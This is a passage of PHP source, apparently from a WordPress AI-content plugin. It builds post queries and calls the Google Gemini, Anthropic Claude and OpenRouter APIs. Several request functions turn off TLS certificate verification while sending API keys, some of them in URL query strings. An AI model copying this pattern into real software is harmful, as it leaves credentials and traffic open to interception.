(isset($aiomatic_Spinner_Settings['pagename']) && $aiomatic_Spinner_Settings['pagename'] != '') { $query['pagename'] = $aiomatic_Spinner_Settings['pagename']; } if (isset($aiomatic_Spinner_Settings['year']) && $aiomatic_Spinner_Settings['year'] != '') { $query['year'] = $aiomatic_Spinner_Settings['year']; } if (isset($aiomatic_Spinner_Settings['month']) && $aiomatic_Spinner_Settings['month'] != '') { $query['monthnum'] = $aiomatic_Spinner_Settings['month']; } if (isset($aiomatic_Spinner_Settings['day']) && $aiomatic_Spinner_Settings['day'] != '') { $query['day'] = $aiomatic_Spinner_Settings['day']; } if (isset($aiomatic_Spinner_Settings['post_parent']) && $aiomatic_Spinner_Settings['post_parent'] != '') { $query['post_parent'] = $aiomatic_Spinner_Settings['post_parent']; } if (isset($aiomatic_Spinner_Settings['page_id']) && $aiomatic_Spinner_Settings['page_id'] != '') { $query['page_id'] = $aiomatic_Spinner_Settings['page_id']; } if (isset($aiomatic_Spinner_Settings['max_nr']) && $aiomatic_Spinner_Settings['max_nr'] != '') { $max_nr = intval($aiomatic_Spinner_Settings['max_nr']); } else { $max_nr = 0; } if (isset($aiomatic_Spinner_Settings['max_posts']) && $aiomatic_Spinner_Settings['max_posts'] != '') { if(intval($aiomatic_Spinner_Settings['max_posts']) != -1 && $max_nr > intval($aiomatic_Spinner_Settings['max_posts'])) { $query['posts_per_page'] = $max_nr; } else { $query['posts_per_page'] = $aiomatic_Spinner_Settings['max_posts']; } } else { if($max_nr > 5) { $query['posts_per_page'] = $max_nr; } } if (isset($aiomatic_Spinner_Settings['search_offset']) && $aiomatic_Spinner_Settings['search_offset'] != '') { $query['offset'] = $aiomatic_Spinner_Settings['search_offset']; } if (isset($aiomatic_Spinner_Settings['search_query']) && $aiomatic_Spinner_Settings['search_query'] != '') { $query['s'] = $aiomatic_Spinner_Settings['search_query']; } if (isset($aiomatic_Spinner_Settings['meta_name']) && $aiomatic_Spinner_Settings['meta_name'] != '') { $query['meta_key'] = $aiomatic_Spinner_Settings['meta_name']; } if (isset($aiomatic_Spinner_Settings['meta_value']) && $aiomatic_Spinner_Settings['meta_value'] != '') { $query['meta_value'] = $aiomatic_Spinner_Settings['meta_value']; } if (isset($aiomatic_Spinner_Settings['order']) && $aiomatic_Spinner_Settings['order'] != 'default') { $query['order'] = $aiomatic_Spinner_Settings['order']; } if (isset($aiomatic_Spinner_Settings['orderby']) && $aiomatic_Spinner_Settings['orderby'] != 'default') { $query['orderby'] = $aiomatic_Spinner_Settings['orderby']; } if (isset($aiomatic_Spinner_Settings['featured_image']) && $aiomatic_Spinner_Settings['featured_image'] != 'any') { if($aiomatic_Spinner_Settings['featured_image'] == 'with') { $query['meta_query'] = array( array( 'key' => '_thumbnail_id', 'compare' => 'EXISTS' ) ); } elseif($aiomatic_Spinner_Settings['featured_image'] == 'without') { $query['meta_query'] = array( array( 'key' => '_thumbnail_id', 'value' => '?', 'compare' => 'NOT EXISTS' ) ); } } if (isset($aiomatic_Spinner_Settings['no_twice']) && $aiomatic_Spinner_Settings['no_twice'] == 'on') { if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '') { $custom_name = trim($aiomatic_Spinner_Settings['custom_name']); } else { $custom_name = 'aiomatic_published'; } if(isset($query['meta_query'])) { $query['meta_query'][] = array( 'key' => $custom_name, 'value' => '?', 'compare' => 'NOT EXISTS' ); } else { $query['meta_query'] = array( array( 'key' => $custom_name, 'value' => '?', 'compare' => 'NOT EXISTS' ) ); } } if (isset($aiomatic_Spinner_Settings['post_status']) && $aiomatic_Spinner_Settings['post_status'] != '') { $query['post_status'] = array_map('trim', explode(',', $aiomatic_Spinner_Settings['post_status'])); } else { $query['post_status'] = 'any'; } $processed = 0; $post_list = get_posts($query); $current = 1; foreach ($post_list as $post) { if($max_nr > 0 && $processed == $max_nr) { break; } $processed++; $ret_list[] = '' . $post->ID . ''; $current++; } } if($processed == 0) { return 'nochange'; } else { return implode(',', $ret_list); } } function aiomatic_google_extension_is_google_model($model) { if(in_array($model, AIOMATIC_GOOGLE_MODELS)) { return true; } return false; } function aiomatic_generate_text_google($token, $model, $aicontent, $temperature, $top_p, $max_tokens, $stream, $is_chat, &$error) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!aiomatic_google_extension_is_google_model($model)) { $model = 'gemini-pro'; } $prompt_tokens = count(aiomatic_encode($aicontent)); if(aiomatic_is_google_model($model)) { if($prompt_tokens > aiomatic_get_max_input_tokens($model)) { $aicontent = aiomatic_strip_to_token_count($aicontent, aiomatic_get_max_input_tokens($model), true); } } else { $error = 'Error: incorrect model provided: ' . print_r($model, true); return false; } $ch = curl_init(); if($ch === false) { $error = 'Error: failed to init curl in Google AI API'; return false; } $postData = ''; switch ($model) { case 'text-bison-001': $url = "https://generativelanguage.googleapis.com/v1beta3/models/text-bison-001:generateText?key=" . $token; $postData = json_encode(array("prompt" => array("text" => $aicontent))); break; case 'chat-bison-001': $url = "https://generativelanguage.googleapis.com/v1beta2/models/chat-bison-001:generateMessage?key=" . $token; $postData = json_encode(array("prompt" => array("messages" => array(array("content" => $aicontent))))); break; case 'gemini-pro': if($stream == false) { $url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-pro:generateContent?key=" . $token; } else { $url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-pro:streamGenerateContent?key=" . $token; } $js_arr = array( "contents" => [ ["role" => "user", "parts" => [["text" => $aicontent]]] ], "generationConfig" => [ "temperature" => $temperature, "topK" => 1, "topP" => $top_p, "maxOutputTokens" => $max_tokens, "stopSequences" => [] ], "safetySettings" => [ ["category" => "HARM_CATEGORY_HARASSMENT", "threshold" => "BLOCK_MEDIUM_AND_ABOVE"] ] ); try { $postData = aiomatic_safe_json_encode($js_arr); } catch(Exception $e) { $error = 'Error: Exception in the API payload encoding: ' . print_r($e->getMessage(), true); return false; } if(empty($postData)) { $error = 'Error: Failed to encode post data: ' . print_r($js_arr, true); return false; } break; case 'gemini-1.5-pro-latest': if($stream == false) { $url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-pro-latest:generateContent?key=" . $token; } else { $url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-pro-latest:streamGenerateContent?key=" . $token; } $js_arr = array( "contents" => [ ["role" => "user", "parts" => [["text" => $aicontent]]] ], "generationConfig" => [ "temperature" => $temperature, "topK" => 1, "topP" => $top_p, "maxOutputTokens" => $max_tokens, "stopSequences" => [] ], "safetySettings" => [ ["category" => "HARM_CATEGORY_HARASSMENT", "threshold" => "BLOCK_MEDIUM_AND_ABOVE"] ] ); try { $postData = aiomatic_safe_json_encode($js_arr); } catch(Exception $e) { $error = 'Error: Exception in the API payload encoding: ' . print_r($e->getMessage(), true); return false; } if(empty($postData)) { $error = 'Error: Failed to encode post data: ' . print_r($js_arr, true); return false; } break; case 'gemini-1.0-pro': if($stream == false) { $url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.0-pro:generateContent?key=" . $token; } else { $url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.0-pro:streamGenerateContent?key=" . $token; } $js_arr = array( "contents" => [ ["role" => "user", "parts" => [["text" => $aicontent]]] ], "generationConfig" => [ "temperature" => $temperature, "topK" => 1, "topP" => $top_p, "maxOutputTokens" => $max_tokens, "stopSequences" => [] ], "safetySettings" => [ ["category" => "HARM_CATEGORY_HARASSMENT", "threshold" => "BLOCK_MEDIUM_AND_ABOVE"] ] ); try { $postData = aiomatic_safe_json_encode($js_arr); } catch(Exception $e) { $error = 'Error: Exception in the API payload encoding: ' . print_r($e->getMessage(), true); return false; } if(empty($postData)) { $error = 'Error: Failed to encode post data: ' . print_r($js_arr, true); return false; } break; case 'gemini-1.5-flash-latest': if($stream == false) { $url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash-latest:generateContent?key=" . $token; } else { $url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash-latest:streamGenerateContent?key=" . $token; } $js_arr = array( "contents" => [ ["role" => "user", "parts" => [["text" => $aicontent]]] ], "generationConfig" => [ "temperature" => $temperature, "topK" => 1, "topP" => $top_p, "maxOutputTokens" => $max_tokens, "stopSequences" => [] ], "safetySettings" => [ ["category" => "HARM_CATEGORY_HARASSMENT", "threshold" => "BLOCK_MEDIUM_AND_ABOVE"] ] ); try { $postData = aiomatic_safe_json_encode($js_arr); } catch(Exception $e) { $error = 'Error: Exception in the API payload encoding: ' . print_r($e->getMessage(), true); return false; } if(empty($postData)) { $error = 'Error: Failed to encode post data: ' . print_r($js_arr, true); return false; } break; default: $error = 'Error: Google AI model not recognized: ' . print_r($model, true); return false; } if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); if($stream === true && in_array($model, AIOMATIC_GOOGLE_STREAMING_MODELS)) { curl_setopt($ch, CURLOPT_WRITEFUNCTION, function ($curl_info, $data) { $normalizedText = '[' . trim($data, " ,[]") . ']'; $decodedResponse = json_decode($normalizedText, true); if($decodedResponse === null || isset($decodedResponse[0]['error']['message'])) { echo "data: [ERROR]\n\n"; if (ob_get_length()) { ob_flush(); } flush(); aiomatic_log_to_file('Google AI streaming error: ' . $decodedResponse[0]['error']['message']); } else { if(isset($decodedResponse[0]['candidates'][0]['content']['parts'][0]['text'])) { echo "data: " . $decodedResponse[0]['candidates'][0]['content']['parts'][0]['text'] . "\n\n"; if (ob_get_length()) { ob_flush(); } flush(); } else { echo "data: [DONE]\n\n"; if (ob_get_length()) { ob_flush(); } flush(); } } return strlen($data); }); } $response = curl_exec($ch); if (curl_errno($ch)) { $error = 'Curl error: ' . curl_error($ch); curl_close($ch); return false; } if($response === false) { $error = 'Failed to get Google API response'; curl_close($ch); return false; } if($stream === true && in_array($model, AIOMATIC_GOOGLE_STREAMING_MODELS)) { return ''; } else { curl_close($ch); } $decodedResponse = json_decode($response, true); if(isset($decodedResponse[0])) { $decodedResponse = $decodedResponse[0]; } if (isset($decodedResponse['error'])) { $errorMsg = isset($decodedResponse['error']['message']) ? $decodedResponse['error']['message'] : 'Unknown error from Google AI Studio API'; $error = 'Error: ' . $errorMsg . ' data: ' . $postData; return false; } elseif (isset($decodedResponse[0]['error'])) { $errorMsg = isset($decodedResponse['error']['message']) ? $decodedResponse[0]['error']['message'] : 'Unknown error from Google AI Studio API'; $error = 'Error: ' . $errorMsg . ' data: ' . $postData; return false; } elseif (empty($decodedResponse)) { $error = 'No data found in the response ' . print_r($response, true); return false; } if (isset($decodedResponse['candidates'][0]['content']['parts'][0]['text'])) { $generatedText = $decodedResponse['candidates'][0]['content']['parts'][0]['text']; return $generatedText; } else { if (isset($decodedResponse['candidates'][0]['content']) && is_string($decodedResponse['candidates'][0]['content'])) { $generatedText = $decodedResponse['candidates'][0]['content']; return $generatedText; } else { if (isset($decodedResponse['candidates'][0]['output']) && is_string($decodedResponse['candidates'][0]['output'])) { $generatedText = $decodedResponse['candidates'][0]['output']; return $generatedText; } else { $error = 'No valid content found in the response ' . print_r($decodedResponse, true); return false; } } } return $decodedResponse; } function aiomatic_list_models_google(&$error) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $appids_google = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_google'])); $appids_google = array_filter($appids_google); $token = $appids_google[array_rand($appids_google)]; if(empty($token)) { $error = 'A Google API key is needed for this to work.'; return false; } $ch = curl_init(); if($ch === false) { $error = 'Error: failed to init curl in Google AI API'; return false; } $url = "https://generativelanguage.googleapis.com/v1beta/models?key=" . $token; if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $response = curl_exec($ch); if (curl_errno($ch)) { $error = 'Curl error: ' . curl_error($ch); curl_close($ch); return false; } if($response === false) { $error = 'Failed to get Google API response'; curl_close($ch); return false; } curl_close($ch); $decodedResponse = json_decode($response, true); if(isset($decodedResponse[0])) { $decodedResponse = $decodedResponse[0]; } if (isset($decodedResponse['error'])) { $errorMsg = isset($decodedResponse['error']['message']) ? $decodedResponse['error']['message'] : 'Unknown error from Google AI Studio API'; $error = 'Error: ' . $errorMsg . ' data: ' . $postData; return false; } elseif (isset($decodedResponse[0]['error'])) { $errorMsg = isset($decodedResponse['error']['message']) ? $decodedResponse[0]['error']['message'] : 'Unknown error from Google AI Studio API'; $error = 'Error: ' . $errorMsg . ' data: ' . $postData; return false; } elseif (empty($decodedResponse)) { $error = 'No data found in the response ' . print_r($response, true); return false; } return $decodedResponse; } function aiomatic_google_extension_is_google_embeddings_model($model) { if(in_array($model, AIOMATIC_GOOGLE_EMBEDDINGS_MODELS)) { return true; } return false; } function aiomatic_generate_embeddings_google($model, $aicontent, &$error) { //https://github.com/google/generative-ai-docs/blob/main/site/en/tutorials/rest_quickstart.ipynb $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id_google']) || trim($aiomatic_Main_Settings['app_id_google']) == '') { $error = 'You need to enter an Google Vertex API key in the plugin settings for this feature to work!'; return false; } $appids_google = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_google'])); $appids_google = array_filter($appids_google); $token = trim($appids_google[array_rand($appids_google)]); if(!aiomatic_google_extension_is_google_embeddings_model($model)) { $model = 'embedding-001'; } $prompt_tokens = count(aiomatic_encode($aicontent)); if($prompt_tokens > aiomatic_get_max_input_tokens($model)) { $aicontent = aiomatic_strip_to_token_count($aicontent, aiomatic_get_max_input_tokens($model), true); } $ch = curl_init(); if($ch === false) { $error = 'Error: failed to init curl in Google AI API'; return false; } switch ($model) { case 'embedding-001': $url = "https://generativelanguage.googleapis.com/v1beta/models/embedding-001:embedContent?key=" . $token; $postData = json_encode(array("model" => "models/" . $model, "content" => array("parts" => array("text" => $aicontent)))); break; case 'text-embedding-004': $url = "https://generativelanguage.googleapis.com/v1beta/models/text-embedding-004:embedContent?key=" . $token; $postData = json_encode(array("model" => "models/" . $model, "content" => array("parts" => array("text" => $aicontent)))); break; default: $error = 'Error: Google AI Embeddings model not recognized: ' . print_r($model, true); return false; } if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $response = curl_exec($ch); if (curl_errno($ch)) { $error = 'Curl error: ' . curl_error($ch); curl_close($ch); return false; } if($response === false) { $error = 'Failed to get Google API Embeddings response'; curl_close($ch); return false; } curl_close($ch); $decodedResponse = json_decode($response, true); if(isset($decodedResponse[0])) { $decodedResponse = $decodedResponse[0]; } if (isset($decodedResponse['error'])) { $errorMsg = isset($decodedResponse['error']['message']) ? $decodedResponse['error']['message'] : 'Unknown error from Google AI Studio API'; $error = 'Error: ' . $errorMsg; return false; } elseif (empty($decodedResponse)) { $error = 'No data found in the response ' . print_r($response, true); return false; } if (isset($decodedResponse['embedding']['values'])) { $generatedText = $decodedResponse['embedding']['values']; return $generatedText; } else { $error = 'No valid embeddings content found in the response ' . print_r($decodedResponse, true); return false; } return $decodedResponse['embedding']['values']; } function aiomatic_claude_local_extension_is_claude_model($model) { if(in_array($model, AIOMATIC_CLAUDE_MODELS)) { return true; } return false; } function aiomatic_filterClaudeForStream_local($handle) { curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($handle, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($handle, CURLOPT_WRITEFUNCTION, function ($curl_info, $data) { echo $data; if (ob_get_length()) { ob_flush(); } flush(); return strlen($data); }); } function aiomatic_generate_text_local_claude($token, $model, $aicontent, $temperature, $top_p, $max_tokens, $stream, $is_chat, &$error) { if(!aiomatic_is_claude_3_model($model)) { return aiomatic_generate_text_local_claude_completion($token, $model, $aicontent, $temperature, $top_p, $max_tokens, $stream, $is_chat, $error); } else { return aiomatic_generate_text_local_claude_chat($token, $model, $aicontent, $temperature, $top_p, $max_tokens, $stream, $is_chat, $error); } } function aiomatic_generate_text_local_claude_completion($token, $model, $aicontent, $temperature, $top_p, $max_tokens, $stream, $is_chat, &$error) { if(!aiomatic_claude_local_extension_is_claude_model($model)) { $model = 'claude-2.1'; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $prompt_tokens = count(aiomatic_encode($aicontent)); if(aiomatic_is_claude_model_200k($model)) { if(isset($aiomatic_Main_Settings['claude_context_limit_200k']) && $aiomatic_Main_Settings['claude_context_limit_200k'] != '') { if($prompt_tokens > intval($aiomatic_Main_Settings['claude_context_limit_200k'])) { $aicontent = aiomatic_strip_to_token_count($aicontent, $aiomatic_Main_Settings['claude_context_limit_200k'], true); } } elseif($prompt_tokens > aiomatic_get_max_input_tokens($model)) { $aicontent = aiomatic_strip_to_token_count($aicontent, aiomatic_get_max_input_tokens($model), true); } } elseif(aiomatic_is_claude_model($model)) { if(isset($aiomatic_Main_Settings['claude_context_limit']) && $aiomatic_Main_Settings['claude_context_limit'] != '') { if($prompt_tokens > intval($aiomatic_Main_Settings['claude_context_limit'])) { $aicontent = aiomatic_strip_to_token_count($aicontent, $aiomatic_Main_Settings['claude_context_limit'], true); } } elseif($prompt_tokens > aiomatic_get_max_input_tokens($model)) { $aicontent = aiomatic_strip_to_token_count($aicontent, aiomatic_get_max_input_tokens($model), true); } } else { $error = 'Error: incorrect model provided: ' . print_r($model, true); return false; } if($is_chat) { $aicontent = "\n\nHuman: " . $aicontent . "\n\nAssistant:"; } else { $aicontent = "\n\nHuman: Don't act as an assistant, reply strictly what you are asked. " . $aicontent . "\n\nAssistant:"; } $base_params = [ 'model' => $model, 'prompt' => $aicontent, 'temperature' => $temperature, 'top_p' => $top_p, 'stream' => false ]; if($is_chat) { $base_params['stop_sequences'] = array("\n\nUser:"); } if($stream === true && function_exists('curl_init') && extension_loaded("curl")) { $base_params['stream'] = true; } if (!isset($aiomatic_Main_Settings['no_max']) || $aiomatic_Main_Settings['no_max'] != 'on') { $base_params['max_tokens_to_sample'] = $max_tokens; } try { $send_json = aiomatic_safe_json_encode($base_params); } catch(Exception $e) { $error = 'Error: Exception in chat API Claude payload encoding: ' . print_r($e->getMessage(), true); return false; } if($send_json === false) { $error = 'Error: Failed to encode Claude API payload: ' . print_r($base_params, true); return false; } if($stream === true && function_exists('curl_init') && extension_loaded("curl")) { add_action('http_api_curl', 'aiomatic_filterClaudeForStream_local'); } add_action('http_api_curl', 'aiomatic_add_proxy'); $api_call = wp_remote_post( 'https://api.anthropic.com/v1/complete', array( 'headers' => [ 'accept' => 'application/json', 'anthropic-version' => '2023-06-01', 'content-type' => 'application/json', 'x-api-key' => $token, ], 'body' => $send_json, 'method' => 'POST', 'data_format' => 'body', 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT, ) ); remove_action('http_api_curl', 'aiomatic_add_proxy'); if($stream === true && function_exists('curl_init') && extension_loaded("curl")) { remove_action('http_api_curl', 'aiomatic_filterClaudeForStream_local'); } $httpStatusCode = wp_remote_retrieve_response_code( $api_call ); if(is_wp_error( $api_call )) { $error = 'Error: Failed to get initial chat API response: ' . print_r($api_call, true); return false; } if ($api_call === false) { $error = 'Claude curl error!'; return false; } elseif ($httpStatusCode >= 400) { $decodedResponse = json_decode($api_call['body'], true); $errorType = isset($decodedResponse['error']['type']) ? $decodedResponse['error']['type'] : 'unknown_error'; $errorMessage = isset($decodedResponse['error']['message']) ? $decodedResponse['error']['message'] : 'No specific error message provided'; switch ($httpStatusCode) { case 400: $error = "Claude Invalid request error: " . $errorMessage . " type: " . $errorType; return false; break; case 401: $error = "Claude Unauthorized error: " . $errorMessage . " type: " . $errorType; return false; break; case 403: $error = "Claude Forbidden error: " . $errorMessage . " type: " . $errorType; return false; break; case 404: $error = "Claude Not found error: " . $errorMessage . " type: " . $errorType; return false; break; case 429: $error = "Claude Rate limit exceeded: " . $errorMessage . " type: " . $errorType; return false; break; case 500: $error = "Claude Internal server error: " . $errorMessage . " type: " . $errorType; return false; break; case 529: $error = "Claude API overloaded error: " . $errorMessage . " type: " . $errorType; return false; break; default: $error = "Claude Error $httpStatusCode: " . $errorMessage . " type: " . $errorType; return false; break; } } else { $decodedResponse = json_decode( $api_call['body'], true); if($decodedResponse === null) { $error = 'Error: Failed to decode initial chat API response: ' . print_r($api_call, true); return false; } if (isset($decodedResponse['error'])) { $error = 'Claude Error: ' . $decodedResponse['error']['message']; return false; } else { if(!isset($decodedResponse['completion'])) { $error = 'Claude Failed to parse response!' . print_r($api_call['body'], true); return false; } return $decodedResponse['completion']; } } $error = 'Claude failure: text cannot be generated'; return false; } function aiomatic_generate_text_local_claude_chat($token, $model, $aicontent, $temperature, $top_p, $max_tokens, $stream, $is_chat, &$error) { if(!aiomatic_claude_local_extension_is_claude_model($model)) { $model = 'claude-3-opus-20240229'; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $prompt_tokens = count(aiomatic_encode($aicontent)); if(aiomatic_is_claude_model_200k($model)) { if(isset($aiomatic_Main_Settings['claude_context_limit_200k']) && $aiomatic_Main_Settings['claude_context_limit_200k'] != '') { if($prompt_tokens > intval($aiomatic_Main_Settings['claude_context_limit_200k'])) { $aicontent = aiomatic_strip_to_token_count($aicontent, $aiomatic_Main_Settings['claude_context_limit_200k'], true); } } elseif($prompt_tokens > aiomatic_get_max_input_tokens($model)) { $aicontent = aiomatic_strip_to_token_count($aicontent, aiomatic_get_max_input_tokens($model), true); } } elseif(aiomatic_is_claude_model($model)) { if(isset($aiomatic_Main_Settings['claude_context_limit']) && $aiomatic_Main_Settings['claude_context_limit'] != '') { if($prompt_tokens > intval($aiomatic_Main_Settings['claude_context_limit'])) { $aicontent = aiomatic_strip_to_token_count($aicontent, $aiomatic_Main_Settings['claude_context_limit'], true); } } elseif($prompt_tokens > aiomatic_get_max_input_tokens($model)) { $aicontent = aiomatic_strip_to_token_count($aicontent, aiomatic_get_max_input_tokens($model), true); } } else { $error = 'Error: incorrect model provided: ' . print_r($model, true); return false; } $chatgpt_obj = array(); if($is_chat) { $chatgpt_obj[] = array("role" => 'user', "content" => $aicontent); } else { $chatgpt_obj[] = array("role" => 'user', "content" => "Don't act as an assistant, reply strictly what you are asked. " . $aicontent); } $max_tokens = aiomatic_get_max_tokens($model); $base_params = [ 'model' => $model, 'messages' => $chatgpt_obj, 'temperature' => $temperature, 'top_p' => $top_p, 'stream' => false, 'max_tokens' => $max_tokens ]; if($is_chat) { $base_params['stop_sequences'] = array("\n\nUser:"); } if($stream === true && function_exists('curl_init') && extension_loaded("curl")) { $base_params['stream'] = true; } try { $send_json = aiomatic_safe_json_encode($base_params); } catch(Exception $e) { $error = 'Error: Exception in chat API Claude payload encoding: ' . print_r($e->getMessage(), true); return false; } if($send_json === false) { $error = 'Error: Failed to encode Claude API payload: ' . print_r($base_params, true); return false; } if($stream === true && function_exists('curl_init') && extension_loaded("curl")) { add_action('http_api_curl', 'aiomatic_filterClaudeForStream_local'); } add_action('http_api_curl', 'aiomatic_add_proxy'); $api_call = wp_remote_post( 'https://api.anthropic.com/v1/messages', array( 'headers' => [ 'accept' => 'application/json', 'anthropic-version' => '2023-06-01', 'content-type' => 'application/json', 'x-api-key' => $token, ], 'body' => $send_json, 'method' => 'POST', 'data_format' => 'body', 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT, ) ); remove_action('http_api_curl', 'aiomatic_add_proxy'); if($stream === true && function_exists('curl_init') && extension_loaded("curl")) { remove_action('http_api_curl', 'aiomatic_filterClaudeForStream_local'); } $httpStatusCode = wp_remote_retrieve_response_code( $api_call ); if(is_wp_error( $api_call )) { $error = 'Error: Failed to get initial chat API response: ' . print_r($api_call, true); return false; } if ($api_call === false) { $error = 'Claude curl error!'; return false; } elseif ($httpStatusCode >= 400) { $decodedResponse = json_decode($api_call['body'], true); $errorType = isset($decodedResponse['error']['type']) ? $decodedResponse['error']['type'] : 'unknown_error'; $errorMessage = isset($decodedResponse['error']['message']) ? $decodedResponse['error']['message'] : 'No specific error message provided'; switch ($httpStatusCode) { case 400: $error = "Claude Invalid messages request error: " . $errorMessage . " type: " . $errorType; return false; break; case 401: $error = "Claude Unauthorized error: " . $errorMessage . " type: " . $errorType; return false; break; case 403: $error = "Claude Forbidden error: " . $errorMessage . " type: " . $errorType; return false; break; case 404: $error = "Claude Not found error: " . $errorMessage . " type: " . $errorType; return false; break; case 429: $error = "Claude Rate limit exceeded: " . $errorMessage . " type: " . $errorType; return false; break; case 500: $error = "Claude Internal server error: " . $errorMessage . " type: " . $errorType; return false; break; case 529: $error = "Claude API overloaded error: " . $errorMessage . " type: " . $errorType; return false; break; default: $error = "Claude Error $httpStatusCode: " . $errorMessage . " type: " . $errorType; return false; break; } } else { $decodedResponse = json_decode( $api_call['body'], true); if($decodedResponse === null) { $error = 'Error: Failed to decode initial chat API response: ' . print_r($api_call, true); return false; } if (isset($decodedResponse['error'])) { $error = 'Claude Error: ' . $decodedResponse['error']['message']; return false; } else { if(!isset($decodedResponse['content'][0]['text'])) { $error = 'Claude Failed to parse chat response!' . print_r($api_call['body'], true); return false; } return $decodedResponse['content'][0]['text']; } } $error = 'Claude failure: text cannot be generated'; return false; } function aiomatic_generate_text_openrouter($token, $model, $aicontent, $temperature, $top_p, $max_tokens, $stream, &$error) { if(!aiomatic_is_openrouter_model($model)) { $model = 'openrouter/auto'; } $prompt_tokens = count(aiomatic_encode($aicontent)); if($prompt_tokens > aiomatic_get_max_input_tokens_openrouter($model)) { $aicontent = aiomatic_strip_to_token_count($aicontent, aiomatic_get_max_input_tokens_openrouter($model), true); } $role = 'user'; $chatgpt_obj = array(); $chatgpt_obj[] = array("role" => $role, "content" => $aicontent); $base_params = [ 'model' => $model, 'messages' => $chatgpt_obj, 'temperature' => $temperature, 'top_p' => $top_p ]; if($stream == true) { $base_params['stream'] = true; } $base_params['max_tokens'] = $max_tokens; require_once (dirname(__FILE__) . 